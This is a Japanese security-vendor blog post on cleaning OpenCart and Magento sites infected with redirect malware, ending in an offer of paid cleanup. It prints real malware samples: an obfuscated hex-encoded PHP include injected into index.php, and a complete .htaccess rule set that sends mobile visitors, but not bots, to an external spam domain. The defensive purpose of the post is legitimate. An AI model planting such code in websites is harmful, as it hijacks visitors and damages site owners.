OpenCart・Magentoサイトを悪質な広告ページへリダイレクトするマルウェアの検出と駆除手順

OpenCartおよびMagentoで構築されたサイトを、デスクトップ・モバイル問わず悪質なリンクへ強制的にリダイレクトするマルウェアが拡散しています。先週以降、同様の感染事例が複数報告されており、特定のバージョンだけが標的になっているわけではありません。MagentoとOpenCartの幅広いバージョンで感染が確認されています。

悪質なリダイレクトの種類とそれぞれの対処法については、詳細な解説記事も併せてご参照ください。

感染するとどんな症状が出る？

ブラックフライデーやサイバーマンデーのセール時期に合わせて、このマルウェアは感染サイトへの訪問者を「お得情報」を掲げたページへリダイレクトします。リダイレクト先には特売情報が並んでいることもあれば、アダルト系の画像コンテンツが表示されるケースもあります。実際に相談を受けたあるサイト運営者は、デスクトップ版からマルウェアの一部を除去できたものの、モバイル版では依然として感染が残っていました。また、Google検索経由でのみリダイレクトが発生するケースもあります（Googleで自社サイトを検索し、そのリンクをクリックしたときに発生）。これは検索エンジンのボットを欺き、SEOに悪影響を与えることが目的です。以下は、このOpenCart・Magentoリダイレクトマルウェアに感染したサイトの実際の様子です：

リダイレクトマルウェアによる被害

• 悪質なウェブサイトへの強制リダイレクト
• 検索結果への悪影響
• 404ページの大量発生
• Google Search Console（ウェブマスターツール）でのエラー
• サーバー上の悪質ファイルの増加
• 上記すべてに起因するトラフィックと売上の減少

OpenCart・Magentoのリダイレクトスパムの見つけ方と修正方法

以下の手順では、コードの一部を削除するよう案内する場合があります。しかしハッカーは悪質なコードを正規のコードに見せかけることがあるため、ファイルやコードを削除する前に必ずバックアップを取得することをおすすめします。それでは、発見と修正の手順を見ていきましょう。

• index.phpファイルを確認する：インデックスファイルに悪質なコードが組み込まれているケースが確認されています。コードの悪質な部分はエンコードされており、デコードしない限り何をするものか判別できません。以下がその抜粋です：

  <?php
  /*2e920*/
  
  @include "\x2fh\x6fm\x65/\x6ez\x67a\x72d\x65n\x2fp\x75b\x6ci\x63_\x68t\x6dl\x2fs\x79s... [[MALICIOUS CODE]]";
  
  /*2e920*/
  // Version
  define('VERSION', '2.0.1.0');
  
  // Configuration
  if (is_file('config.php')) {
  	require_once('config.php');
  }
  
  // Install
  if (!defined('DIR_APPLICATION')) {
  	header('Location: install/index.php');
  	exit;
  }
  
  // Startup
  require_once(DIR_SYSTEM . 'startup.php');
  
  // Registry
  $registry = new Registry();

  indexファイルの先頭付近にこのようなコードが見つかった場合は、削除することをおすすめします。

• .htaccessも必ずチェックする：もう一つの感染箇所として、サーバーの.htaccessファイルが挙げられます。ルートフォルダだけでなく、/adminフォルダ内の.htaccessも必ず確認してください。/adminフォルダ内で見つかったマルウェアの抜粋がこちらです：

  
  RewriteEngine on
  RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
  RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
  RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
  RewriteCond %{HTTP:Profile} .+ [NC,OR]
  RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
  RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
  RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
  RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]
  RewriteCond %{QUERY_STRING} !noredirect [NC]
  RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
  RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
  RewriteRule ^(.*)$ https://sswim.ru [L,R=302]
  

  .htaccess内にあるこれらのコードはすべて悪質なものです。モバイルデバイスからのアクセスを検知して、悪質なドメインへリダイレクトする仕組みになっています。このコードを見つけたら、直ちに削除してください。

• 怪しいPHPファイルを探す：ここが最も厄介なポイントです。ハッカーは一見正当な名前のファイルを作成し、その中に悪質なコードを仕込むことがよくあります。こうしたファイルのコードの大部分は無害ですが、数行だけハッカーのために動作する処理が含まれていることがあります。今回のケースでは、OpenCart/Magentoの各ディレクトリでenjoy.phpやunzip.phpといった不審なファイルが見つかりました。

ウェブマスターツールは嘘をつかない：Googleはサイトをインデックスする際に不審な挙動を検知すると、警告を発してくれます。Googleから警告が届いたら注意が必要です。それは検索順位に影響が出始めるサインだからです。同様の事例は、現在も蔓延し続けている日本語SEOスパムでも発生しています。以下は、マルウェアによって大量の404ページが生成され、Googleがそれを検知した実例です：

今後取るべき対策

この種の感染はビジネスに深刻な打撃を与えます。ダウンタイム1時間ごとに顧客と信頼を失い、何よりも検索エンジンの順位に悪影響が及びます。さらにハッカーはサイト侵入後、技術に詳しい人間でも検出が難しいバックドアを残す傾向があります。こうしたハッキング事例から教訓を得て、サイトを24時間365日保護するウェブサイトファイアウォールの導入を検討しましょう。

今すぐこの問題の解決に支援が必要な場合は、お気軽にご相談ください。こちらからご登録いただければ、登録後10分以内にエンジニアがクリーンアップ作業を開始いたします。